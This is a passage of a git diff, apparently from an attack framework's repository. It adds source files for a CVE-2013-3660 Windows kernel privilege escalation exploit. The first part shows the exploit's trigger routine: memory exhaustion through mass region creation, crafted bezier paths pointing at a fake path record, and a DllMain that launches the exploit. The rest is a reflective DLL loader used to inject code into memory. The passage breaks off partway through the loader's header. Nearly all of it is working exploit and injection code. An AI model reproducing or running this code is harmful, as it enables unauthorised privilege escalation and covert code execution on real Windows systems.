PD_BEGINSUBPATH; + ExploitRecord.count = 4; + + LogMessage(L_INFO, " ->next @ %p", ExploitRecord.next); + LogMessage(L_INFO, " ->prev @ %p", ExploitRecord.prev); + LogMessage(L_INFO, " ->flags @ %u", ExploitRecord.flags); + + LogMessage(L_INFO, "Creating complex bezier path with %x", (ULONG)(PathRecord) >> 4); + + // Generate a large number of Belier Curves made up of pointers to our + // PATHRECORD object. + for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) { + Points[PointNum].x = (ULONG)(PathRecord) >> 4; + Points[PointNum].y = (ULONG)(PathRecord) >> 4; + PointTypes[PointNum] = PT_BEZIERTO; + } + + // Switch to a dedicated desktop so we don't spam the visible desktop with + // our Lines (Not required, just stops the screen from redrawing slowly). + SetThreadDesktop(CreateDesktop("DontPanic", + NULL, + NULL, + 0, + GENERIC_ALL, + NULL)); + + // Get a handle to this Desktop. + Device = GetDC(NULL); + + // Take ownership of Mutex + WaitForSingleObject(Mutex, INFINITE); + + // Spawn a thread to cleanup + Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL); + + LogMessage(L_INFO, "Begin CreateRoundRectRgn cycle"); + + // We need to cause a specific AllocObject() to fail to trigger the + // exploitable condition. To do this, I create a large number of rounded + // rectangular regions until they start failing. I don't think it matters + // what you use to exhaust paged memory, there is probably a better way. + // + // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on + // failure. Seriously, do some damn QA Microsoft, wtf. + for (Size = 1 << 26; Size; Size >>= 1) { + while (Regions[ComplexPathNumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) + ComplexPathNumRegion++; + } + + LogMessage(L_INFO, "Allocated %u HRGN objects", ComplexPathNumRegion); + + LogMessage(L_INFO, "Flattening curves..."); + + for (PointNum = MAX_POLYPOINTS; PointNum && !ComplexPathFinished; PointNum -= 3) { + BeginPath(Device); + PolyDraw(Device, Points, PointTypes, PointNum); + EndPath(Device); + FlattenPath(Device); + FlattenPath(Device); + + // Test if exploitation succeeded. + NtQueryIntervalProfile(ProfileTotalIssues, Interval); + + // Repair any damage. + *Interval = SavedInterval; + + EndPath(Device); + } + + if (ComplexPathFinished) { + LogMessage(L_INFO, "Success...", ComplexPathFinished); + //ExitProcess(0); + return; + } + + // If we reach here, we didn't trigger the condition. Let the other thread know. + ReleaseMutex(Mutex); + WaitForSingleObject(Thread, INFINITE); + ReleaseDC(NULL, Device); + + // Try again... + LogMessage(L_ERROR, "No luck, run exploit again (it can take several attempts)"); + //ExitProcess(1); + return; +} + +// A quick logging routine for debug messages. +BOOL LogMessage(LEVEL Level, PCHAR Format, ...) +{ + CHAR Buffer[1024] = {0}; + va_list Args; + + va_start(Args, Format); + vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args); + va_end(Args); + + switch (Level) { + case L_DEBUG: dprintf( "[?] %s\n", Buffer); break; + case L_INFO: dprintf( "[+] %s\n", Buffer); break; + case L_WARN: dprintf( "[*] %s\n", Buffer); break; + case L_ERROR: dprintf( "[!] %s\n", Buffer); break; + } + + //fflush(stdout); + //flush(stderr); + + return TRUE; +} +extern HINSTANCE hAppInstance; +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + hAppInstance = hinstDLL; + elevator_complex_path(); + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} \ No newline at end of file diff --git a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.c b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.c new file mode 100755 index 0000000000..594c0b8066 --- /dev/null +++ b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.c @@ -0,0 +1,496 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "ReflectiveLoader.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +//===============================================================================================// +#pragma intrinsic( _ReturnAddress ) +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } +//===============================================================================================// + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while( TRUE ) + { + if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef WIN_X64 + uiBaseAddress = __readgsqword( 0x60 ); +#else +#ifdef WIN_X86 + uiBaseAddress = __readfsdword( 0x30 ); +#else WIN_ARM + uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while( uiValueA ) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror( (DWORD)uiValueC ); + // normalize to uppercase if the madule name is in lowercase + if( *((BYTE *)uiValueB) >= 'a' ) + uiValueC += *((BYTE *)uiValueB) - 0x20; + else + uiValueC += *((BYTE *)uiValueB); + uiValueB++; + } while( --usCounter ); + + // compare the hash with that of kernel32.dll + if( (DWORD)uiValueC == KERNEL32DLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 3; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == LOADLIBRARYA_HASH ) + pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == GETPROCADDRESS_HASH ) + pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == VIRTUALALLOC_HASH ) + pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if( (DWORD)uiValueC == NTDLLDLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 1; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) + break; + + // get the next entry + uiValueA = DEREF( uiValueA ); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while( uiValueA-- ) + *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while( uiValueE-- ) + { + // uiValueB is the VA for this section + uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); + + // uiValueC if the VA for this sections data + uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while( uiValueD-- ) + *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof( IMAGE_SECTION_HEADER ); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; + + // we assume their is an import table to process + // uiValueC is the first entry in the import table + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // itterate through all imports + while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) + { + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); + + // itterate through all imported functions, importing by ordinal if no name present + while( DEREF(uiValueA) ) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); + + // patch in the address for this imported function + DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // get the VA of this functions import by name struct + uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); + } + // get the next imported function + uiValueA += sizeof( ULONG_PTR ); + if( uiValueD ) + uiValueD += sizeof( ULONG_PTR ); + } + + // get the next import + uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; + + // check if their are any relocations present + if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // and we itterate through all entries... + while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) + { + // uiValueA = the VA for this relocation block + uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); + + // uiValueB = number of entries in this relocation block + uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while( uiValueB-- ) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) + *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) + *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + // sanity chack we are processing a MOV instruction... + if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)( dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + } + } +#endif + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof( IMAGE_RELOC ); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); + + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.h b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.h new file mode 100755 index 0000000000..b8eb22b0b1 --- /dev/null +++ b/external/source/exploits/cve-2013-3660/dll/src/ReflectiveLoader.h @@ -0,0 +1,202 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include +#include "ReflectiveDLLInjection.h" + +typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); +typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); +typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); +typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#pragma intrinsic( _rotr ) + +__forceinline DWORD ror( DWORD d ) +{ + return _rotr( d, HASH_KEY ); +} + +__forceinline DWORD hash( char * c ) +{ + register DWORD h = 0; + do + { + h = ror( h ); + h += *c; + } while( *++c ); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, *PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v 